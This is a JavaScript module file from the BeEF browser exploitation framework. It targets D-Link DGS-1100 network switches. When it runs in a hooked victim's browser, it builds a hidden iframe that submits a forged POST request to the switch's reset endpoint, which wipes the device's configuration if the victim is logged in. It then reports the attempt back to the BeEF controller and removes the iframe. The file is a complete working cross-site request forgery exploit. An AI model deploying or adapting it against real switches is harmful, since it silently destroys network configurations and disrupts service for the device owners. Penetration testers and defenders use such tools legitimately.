Files
beef/modules/exploits/switch/dlink_dgs_1100_device_reset/command.js
2017-02-25 08:08:37 -06:00

24 lines
684 B
JavaScript

//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// Hooked browser must be authenticated to switch.
var base = '<%= @base %>';
var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/reset.cgi', 'POST', 'application/x-www-form-urlencoded', [
{ type: 'hidden', name: 'reset', value: 1 }
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(dlink_dgs_iframe);
}
setTimeout("cleanup()", 15000);
});